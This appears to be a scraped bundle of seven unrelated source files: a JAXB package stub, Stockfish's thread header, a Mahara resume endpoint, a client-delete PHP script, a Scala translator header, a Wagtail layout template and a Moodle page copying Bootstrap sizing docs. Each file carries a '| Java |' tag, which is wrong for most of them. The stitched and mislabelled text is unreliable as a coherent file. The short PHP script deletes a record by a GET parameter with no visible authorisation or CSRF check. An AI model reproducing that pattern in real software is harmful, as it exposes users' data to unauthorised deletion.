// Generated on: 2014.05.14 at 05:14:09 PM CDT
//
@javax.xml.bind.annotation.XmlSchema(namespace = "http://www.opengis.net/kml/2.2", elementFormDefault = javax.xml.bind.annotation.XmlNsForm.QUALIFIED)
package hortonworks.hdp.refapp.trucking.simulator.impl.domain.transport.route.jaxb;
| Java |
/*
Stockfish, a UCI chess playing engine derived from Glaurung 2.1
Copyright (C) 2004-2008 Tord Romstad (Glaurung author)
Copyright (C) 2008-2014 Marco Costalba, Joona Kiiski, Tord Romstad
Stockfish is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Stockfish is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef THREAD_H_INCLUDED
#define THREAD_H_INCLUDED
#include <bitset>
#include <condition_variable>
#include <mutex>
#include <thread>
#include <vector>
#include "material.h"
#include "movepick.h"
#include "pawns.h"
#include "position.h"
#include "search.h"
const int MAX_THREADS = 128;
const int MAX_SPLITPOINTS_PER_THREAD = 8;
struct Thread;
struct SplitPoint {
// Const data after split point has been setup
const Position* pos;
const Search::Stack* ss;
Thread* masterThread;
Depth depth;
Value beta;
int nodeType;
bool cutNode;
// Const pointers to shared data
MovePicker* movePicker;
SplitPoint* parentSplitPoint;
// Shared data
std::mutex mutex;
std::bitset<MAX_THREADS> slavesMask;
volatile bool allSlavesSearching;
volatile uint64_t nodes;
volatile Value alpha;
volatile Value bestValue;
volatile Move bestMove;
volatile int moveCount;
volatile bool cutoff;
};
/// ThreadBase struct is the base of the hierarchy from where we derive all the
/// specialized thread classes.
struct ThreadBase {
ThreadBase() : exit(false) {}
virtual ~ThreadBase() {}
virtual void idle_loop() = 0;
void notify_one();
void wait_for(volatile const bool& b);
std::thread nativeThread;
std::mutex mutex;
std::condition_variable sleepCondition;
volatile bool exit;
};
/// Thread struct keeps together all the thread related stuff like locks, state
/// and especially split points. We also use per-thread pawn and material hash
/// tables so that once we get a pointer to an entry its life time is unlimited
/// and we don't have to care about someone changing the entry under our feet.
struct Thread : public ThreadBase {
Thread();
virtual void idle_loop();
bool cutoff_occurred() const;
bool available_to(const Thread* master) const;
template <bool Fake>
void split(Position& pos, const Search::Stack* ss, Value alpha, Value beta, Value* bestValue, Move* bestMove,
Depth depth, int moveCount, MovePicker* movePicker, int nodeType, bool cutNode);
SplitPoint splitPoints[MAX_SPLITPOINTS_PER_THREAD];
Material::Table materialTable;
Endgames endgames;
Pawns::Table pawnsTable;
Position* activePosition;
size_t idx;
int maxPly;
SplitPoint* volatile activeSplitPoint;
volatile int splitPointsSize;
volatile bool searching;
};
/// MainThread and TimerThread are derived classes used to characterize the two
/// special threads: the main one and the recurring timer.
struct MainThread : public Thread {
MainThread() : thinking(true) {} // Avoid a race with start_thinking()
virtual void idle_loop();
volatile bool thinking;
};
struct TimerThread : public ThreadBase {
TimerThread() : run(false) {}
virtual void idle_loop();
bool run;
static const int Resolution = 5; // msec between two check_time() calls
};
/// ThreadPool struct handles all the threads related stuff like init, starting,
/// parking and, most importantly, launching a slave thread at a split point.
/// All the access to shared thread data is done through this class.
struct ThreadPool : public std::vector<Thread*> {
void init(); // No c'tor and d'tor, threads rely on globals that should
void exit(); // be initialized and are valid during the whole thread lifetime.
MainThread* main() { return static_cast<MainThread*>((*this)[0]); }
void read_uci_options();
Thread* available_slave(const Thread* master) const;
void wait_for_think_finished();
void start_thinking(const Position&, const Search::LimitsType&, Search::StateStackPtr&);
Depth minimumSplitDepth;
std::mutex mutex;
std::condition_variable sleepCondition;
TimerThread* timer;
};
extern ThreadPool Threads;
#endif // #ifndef THREAD_H_INCLUDED
| Java |
<?php
/**
* Mahara: Electronic portfolio, weblog, resume builder and social networking
* Copyright (C) 2006-2009 Catalyst IT Ltd and others; see:
* http://wiki.mahara.org/Contributors
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* @package mahara
* @subpackage artefact-resume
* @author Catalyst IT Ltd
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL
* @copyright (C) 2006-2009 Catalyst IT Ltd http://catalyst.net.nz
*
*/
define('INTERNAL', 1);
define('JSON', 1);
if (isset($_POST['view'])) {
define('PUBLIC', 1);
}
require(dirname(dirname(dirname(__FILE__))) . '/init.php');
safe_require('artefact', 'resume');
$limit = param_integer('limit', null);
$offset = param_integer('offset', 0);
$type = param_alpha('type');
$view = param_integer('view', 0);
$data = array();
$count = 0;
$othertable = 'artefact_resume_' . $type;
$owner = $USER->get('id');
$sql = 'SELECT ar.*, a.owner
FROM {artefact} a
JOIN {' . $othertable . '} ar ON ar.artefact = a.id
WHERE a.owner = ? AND a.artefacttype = ?
ORDER BY ar.displayorder';
if (!empty($view)) {
if (!can_view_view($view)) {
throw new AccessDeniedException();
}
require_once('view.php');
$v = new View($view);
$owner = $v->get('owner');
}
if (!$data = get_records_sql_array($sql, array($owner, $type))) {
$data = array();
}
$count = count_records('artefact', 'owner', $owner, 'artefacttype', $type);
echo json_encode(array(
'data' => $data,
'limit' => $limit,
'offset' => $offset,
'count' => $count,
'type' => $type));
?>
| Java |
<?php
$client = ClientData::getById($_GET["id"]);
$client->del();
$_SESSION['message'] = L::messages_del_with_success;
$_SESSION['alert_type'] = 'success';
Core::redir("./index.php?view=clients");
?> | Java |
/**
* @addtogroup OutputTranslator
* @{
* @file OutputTranslator/Scala.hh
* @author Massimiliano Pagani
* @version 1.0
* @date 2016-10-18
*
*/
#if !defined( OUTPUTTRANSLATOR_SCALA_HH )
#define OUTPUTTRANSLATOR_SCALA_HH
#include "OutputTranslator/Base.hh"
#include "Tydal/Grammar/BaseType.hh"
#include "Tydal/Grammar/VariantType.hh"
namespace OutputTranslator
{
class Scala : public Base
{
private:
virtual void translateRecord( std::string const& name,
std::shared_ptr<Tydal::Grammar::RecordType const> recordType,
std::ostream& out ) override;
virtual void translateEnum( std::string const& name,
std::shared_ptr<Tydal::Grammar::EnumType const> enumType,
std::ostream& out ) override;
virtual void translateString( std::string const& name,
std::shared_ptr<Tydal::Grammar::StringType const> stringType,
std::ostream& out ) override;
virtual void translateSimpleType( std::string const& name,
std::shared_ptr<Tydal::Grammar::SimpleType const> simpleType,
std::ostream& out ) override;
virtual void translateArray( std::string const& name,
std::shared_ptr<Tydal::Grammar::ArrayType const> arrayType,
std::ostream& out ) override;
void translateVariantBranch( std::string const& name,
std::shared_ptr<Tydal::Grammar::VariantType const> variant,
std::shared_ptr<Tydal::Grammar::VariantCaseEntry const> branch,
std::ostream& out );
void translateRecordVariant( std::string const& name,
std::shared_ptr<Tydal::Grammar::RecordType const> recordType,
std::ostream& out );
void translateFields( std::string const& name,
std::shared_ptr<Tydal::Grammar::RecordType const> recordType,
std::ostream& out );
void translateVariantBranches( std::string const& name,
std::shared_ptr<Tydal::Grammar::RecordType const> recordType,
std::ostream& out );
void translateSimpleRecord( std::string const& name,
std::shared_ptr<Tydal::Grammar::RecordType const> recordType,
std::ostream& out );
void translateSubRecords( std::string const& name,
std::shared_ptr<Tydal::Grammar::RecordType const> recordType,
std::ostream& out );
void printField( std::ostream& out,
Tydal::Grammar::RecordType::ConstIterator::value_type const& field );
void
tydalTypeToScala( std::shared_ptr<Tydal::Grammar::BaseType const> type,
std::string const& fieldName,
std::ostream& out );
void pushEnclosingRecordName( std::string const& recordName );
void popEnclosingRecordName();
std::vector<std::string> const& getEnclosingRecordNames() const;
std::string getRecordNames() const;
std::vector<std::string> m_enclosingRecordNames;
};
} // end of namespace OutputTranslator
#endif
///@}
| Java |
{% load wagtailcore_tags wagtailimages_tags jetstream_tags %}
<div class="row-wrapper {{ self.style }}
{% if self.background.background_color or self.background.background_image %} bg {% endif %}
{% if self.background.background_color and not self.background.background_image %} bg-color-{{ self.background.background_color }}{% endif %}
"
{% if self.background.background_image %}
{% image self.background.background_image original as img_data %}
style="background-image: url('{{ img_data.url }}');"
{% endif %}
>
<div class="row gutter-{{ self.gutter_width }}px">
{% subtract_from_twelve self.column_one_width self.column_two_width self.column_three_width as fill_width %}
<div class="four-col-item grid-item col-md-{{ self.column_one_width }} col-sm-{{ self.column_one_width }}">
{% for block in self.column_one %}
{% if block.block_type == 'heading' %}
<h1>{{ block.value }}</h1>
{% else %}
<section class="block-{{ block.block_type }}">
{% if parent_width %}
{% width_from_arbitrary_parent parent_width self.column_one_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% else %}
{% width_from_arbitrary_parent 1000 self.column_one_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% endif %}
</section>
{% endif %}
{% endfor %}
</div>
<div class="four-col-item grid-item col-md-{{ self.column_two_width }} col-sm-{{ self.column_two_width }}">
{% for block in self.column_two %}
{% if block.block_type == 'heading' %}
<h1>{{ block.value }}</h1>
{% else %}
<section class="block-{{ block.block_type }}">
{% if parent_width %}
{% width_from_arbitrary_parent parent_width self.column_two_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% else %}
{% width_from_arbitrary_parent 1000 self.column_two_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% endif %}
</section>
{% endif %}
{% endfor %}
</div>
<div class="four-col-item grid-item col-md-{{ self.column_three_width }} col-sm-{{ self.column_three_width }}">
{% for block in self.column_three %}
{% if block.block_type == 'heading' %}
<h1>{{ block.value }}</h1>
{% else %}
<section class="block-{{ block.block_type }}">
{% if parent_width %}
{% width_from_arbitrary_parent parent_width self.column_three_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% else %}
{% width_from_arbitrary_parent 1000 self.column_three_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% endif %}
</section>
{% endif %}
{% endfor %}
</div>
<div class="four-col-item grid-item col-md-{{ fill_width }} col-sm-{{ fill_width }}">
{% for block in self.column_four %}
{% if block.block_type == 'heading' %}
<h1>{{ block.value }}</h1>
{% else %}
<section class="block-{{ block.block_type }}">
{% if parent_width %}
{% width_from_arbitrary_parent parent_width fill_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% else %}
{% width_from_arbitrary_parent 1000 fill_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% endif %}
</section>
{% endif %}
{% endfor %}
</div>
</div>
</div>
| Java |
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Theme tester tool
*
* @package tool_themetester
* @copyright Copyright (c) 2015 Moodlerooms Inc. (http://www.moodlerooms.com)
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
require_once(dirname(__FILE__) . '/../../../../../../../config.php');
require_once($CFG->libdir . '/adminlib.php');
$strheading = 'Theme Tester: Bootstrap 4 CSS : Sizing';
$url = new moodle_url('/admin/tool/themetester/bootswatch4.php');
// Start setting up the page.
$params = array();
$PAGE->set_context(context_system::instance());
$PAGE->set_url($url);
$PAGE->set_title($strheading);
$PAGE->set_heading("Sizing");
$PAGE->requires->jquery();
$PAGE->requires->css('/admin/tool/themetester/docsearch.min.css');
$PAGE->requires->css('/admin/tool/themetester/assets/css/docs.min.css');
admin_externalpage_setup('toolthemetester');
echo $OUTPUT->header();
echo html_writer::link(new moodle_url('/admin/tool/themetester/index.php'), '« Back to index');
echo $OUTPUT->heading($strheading);
?>
<!-- Favicons -->
<link rel="apple-touch-icon" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/img/favicons/apple-touch-icon.png" sizes="180x180">
<link rel="icon" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/img/favicons/favicon-32x32.png" sizes="32x32" type="image/png">
<link rel="icon" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/img/favicons/favicon-16x16.png" sizes="16x16" type="image/png">
<link rel="manifest" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/img/favicons/manifest.json">
<link rel="mask-icon" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/img/favicons/safari-pinned-tab.svg" color="#563d7c">
<link rel="icon" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/favicon.ico">
<meta name="msapplication-config" content="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/img/favicons/browserconfig.xml">
<meta name="theme-color" content="#563d7c">
<!-- Twitter -->
<meta name="twitter:card" content="summary">
<meta name="twitter:site" content="@getbootstrap">
<meta name="twitter:creator" content="@getbootstrap">
<meta name="twitter:title" content="Sizing">
<meta name="twitter:description" content="Easily make an element as wide or as tall (relative to its parent) with our width and height utilities.">
<meta name="twitter:image" content="/assets/brand/bootstrap-social-logo.png">
<!-- Facebook -->
<meta property="og:url" content="/docs/4.0/utilities/sizing/">
<meta property="og:title" content="Sizing">
<meta property="og:description" content="Easily make an element as wide or as tall (relative to its parent) with our width and height utilities.">
<meta property="og:type" content="website">
<meta property="og:image" content="/assets/brand/bootstrap-social.png">
<meta property="og:image:secure_url" content="/assets/brand/bootstrap-social.png">
<meta property="og:image:type" content="image/png">
<meta property="og:image:width" content="1200">
<meta property="og:image:height" content="630">
<div class="container-fluid">
<div class="row flex-xl-nowrap">
<div class="col-12 col-md-3 col-xl-2 bd-sidebar">
<form class="bd-search d-flex align-items-center">
<input type="search" class="form-control" id="search-input" placeholder="Search..." aria-label="Search for..." autocomplete="off">
<button class="btn btn-link bd-search-docs-toggle d-md-none p-0 ml-3" type="button" data-toggle="collapse" data-target="#bd-docs-nav" aria-controls="bd-docs-nav" aria-expanded="false" aria-label="Toggle docs navigation"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 30 30" width="30" height="30" focusable="false"><title>Menu</title><path stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-miterlimit="10" d="M4 7h22M4 15h22M4 23h22"/></svg>
</button>
</form>
<nav class="collapse bd-links" id="bd-docs-nav"><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/introduction/">
Getting started
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/introduction/">
Introduction
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/download/">
Download
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/contents/">
Contents
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/browsers-devices/">
Browsers & devices
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/javascript/">
JavaScript
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/theming/">
Theming
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/build-tools/">
Build tools
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/webpack/">
Webpack
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/accessibility/">
Accessibility
</a></li></ul>
</div><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/layout/overview/">
Layout
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/layout/overview/">
Overview
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/layout/grid/">
Grid
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/layout/media-object/">
Media object
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/layout/utilities-for-layout/">
Utilities for layout
</a></li></ul>
</div><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/reboot/">
Content
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/reboot/">
Reboot
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/typography/">
Typography
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/code/">
Code
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/images/">
Images
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/tables/">
Tables
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/content/figures/">
Figures
</a></li></ul>
</div><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/alerts/">
Components
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/alerts/">
Alerts
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/badge/">
Badge
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/breadcrumb/">
Breadcrumb
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/buttons/">
Buttons
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/button-group/">
Button group
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/card/">
Card
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/carousel/">
Carousel
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/collapse/">
Collapse
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/dropdowns/">
Dropdowns
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/forms/">
Forms
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/input-group/">
Input group
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/jumbotron/">
Jumbotron
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/list-group/">
List group
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/modal/">
Modal
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/navs/">
Navs
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/navbar/">
Navbar
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/pagination/">
Pagination
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/popovers/">
Popovers
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/progress/">
Progress
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/scrollspy/">
Scrollspy
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/components/tooltips/">
Tooltips
</a></li></ul>
</div><div class="bd-toc-item active">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/borders/">
Utilities
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/borders/">
Borders
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/clearfix/">
Clearfix
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/close-icon/">
Close icon
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/colors/">
Colors
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/display/">
Display
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/embed/">
Embed
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/flex/">
Flex
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/float/">
Float
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/image-replacement/">
Image replacement
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/position/">
Position
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/screenreaders/">
Screenreaders
</a></li><li class="active bd-sidenav-active">
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/sizing/">
Sizing
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/spacing/">
Spacing
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/text/">
Text
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/vertical-align/">
Vertical align
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/utilities/visibility/">
Visibility
</a></li></ul>
</div><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/extend/approach/">
Extend
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/extend/approach/">
Approach
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/extend/icons/">
Icons
</a></li></ul>
</div><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/migration/">
Migration
</a>
<ul class="nav bd-sidenav"></ul>
</div><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/about/overview/">
About
</a>
<ul class="nav bd-sidenav"><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/about/overview/">
Overview
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/about/brand/">
Brand
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/about/license/">
License
</a></li><li>
<a href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/about/translations/">
Translations
</a></li></ul>
</div></nav>
</div>
<div class="d-none d-xl-block col-xl-2 bd-toc">
<ul class="section-nav">
</ul>
</div>
<main class="col-12 col-md-9 col-xl-8 py-md-3 pl-md-5 bd-content" role="main">
<h1 class="bd-title" id="content">Sizing</h1>
<p class="bd-lead">Easily make an element as wide or as tall (relative to its parent) with our width and height utilities.</p>
<p>Width and height utilities are generated from the <code class="highlighter-rouge">$sizes</code> Sass map in <code class="highlighter-rouge">_variables.scss</code>. Includes support for <code class="highlighter-rouge">25%</code>, <code class="highlighter-rouge">50%</code>, <code class="highlighter-rouge">75%</code>, <code class="highlighter-rouge">100%</code>, and <code class="highlighter-rouge">auto</code> by default. Modify those values as you need to generate different utilities here.</p>
<div class="bd-example">
<div class="w-25 p-3" style="background-color: #eee;">Width 25%</div>
<div class="w-50 p-3" style="background-color: #eee;">Width 50%</div>
<div class="w-75 p-3" style="background-color: #eee;">Width 75%</div>
<div class="w-100 p-3" style="background-color: #eee;">Width 100%</div>
<div class="w-auto p-3" style="background-color: #eee;">Width auto</div>
</div>
<div class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><div</span> <span class="na">class=</span><span class="s">"w-25 p-3"</span> <span class="na">style=</span><span class="s">"background-color: #eee;"</span><span class="nt">></span>Width 25%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"w-50 p-3"</span> <span class="na">style=</span><span class="s">"background-color: #eee;"</span><span class="nt">></span>Width 50%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"w-75 p-3"</span> <span class="na">style=</span><span class="s">"background-color: #eee;"</span><span class="nt">></span>Width 75%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"w-100 p-3"</span> <span class="na">style=</span><span class="s">"background-color: #eee;"</span><span class="nt">></span>Width 100%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"w-auto p-3"</span> <span class="na">style=</span><span class="s">"background-color: #eee;"</span><span class="nt">></span>Width auto<span class="nt"></div></span></code></pre></div>
<div class="bd-example">
<div style="height: 100px; background-color: rgba(255,0,0,0.1);">
<div class="h-25 d-inline-block" style="width: 120px; background-color: rgba(0,0,255,.1)">Height 25%</div>
<div class="h-50 d-inline-block" style="width: 120px; background-color: rgba(0,0,255,.1)">Height 50%</div>
<div class="h-75 d-inline-block" style="width: 120px; background-color: rgba(0,0,255,.1)">Height 75%</div>
<div class="h-100 d-inline-block" style="width: 120px; background-color: rgba(0,0,255,.1)">Height 100%</div>
<div class="h-auto d-inline-block" style="width: 120px; background-color: rgba(0,0,255,.1)">Height auto</div>
</div>
</div>
<div class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><div</span> <span class="na">style=</span><span class="s">"height: 100px; background-color: rgba(255,0,0,0.1);"</span><span class="nt">></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"h-25 d-inline-block"</span> <span class="na">style=</span><span class="s">"width: 120px; background-color: rgba(0,0,255,.1)"</span><span class="nt">></span>Height 25%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"h-50 d-inline-block"</span> <span class="na">style=</span><span class="s">"width: 120px; background-color: rgba(0,0,255,.1)"</span><span class="nt">></span>Height 50%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"h-75 d-inline-block"</span> <span class="na">style=</span><span class="s">"width: 120px; background-color: rgba(0,0,255,.1)"</span><span class="nt">></span>Height 75%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"h-100 d-inline-block"</span> <span class="na">style=</span><span class="s">"width: 120px; background-color: rgba(0,0,255,.1)"</span><span class="nt">></span>Height 100%<span class="nt"></div></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"h-auto d-inline-block"</span> <span class="na">style=</span><span class="s">"width: 120px; background-color: rgba(0,0,255,.1)"</span><span class="nt">></span>Height auto<span class="nt"></div></span>
<span class="nt"></div></span></code></pre></div>
<p>You can also use <code class="highlighter-rouge">max-width: 100%;</code> and <code class="highlighter-rouge">max-height: 100%;</code> utilities as needed.</p>
<div class="bd-example">
<img class="mw-100" data-src="holder.js/1000px100?text=Max-width%20%3D%20100%25" alt="Max-width 100%" />
</div>
<div class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><img</span> <span class="na">class=</span><span class="s">"mw-100"</span> <span class="na">src=</span><span class="s">"..."</span> <span class="na">alt=</span><span class="s">"Max-width 100%"</span><span class="nt">></span></code></pre></div>
<div class="bd-example">
<div style="height: 100px; background-color: rgba(255,0,0,0.1);">
<div class="mh-100" style="width: 100px; height: 200px; background-color: rgba(0,0,255,0.1);">Max-height 100%</div>
</div>
</div>
<div class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><div</span> <span class="na">style=</span><span class="s">"height: 100px; background-color: rgba(255,0,0,0.1);"</span><span class="nt">></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"mh-100"</span> <span class="na">style=</span><span class="s">"width: 100px; height: 200px; background-color: rgba(0,0,255,0.1);"</span><span class="nt">></span>Max-height 100%<span class="nt"></div></span>
<span class="nt"></div></span></code></pre></div>
</main>
</div>
</div>
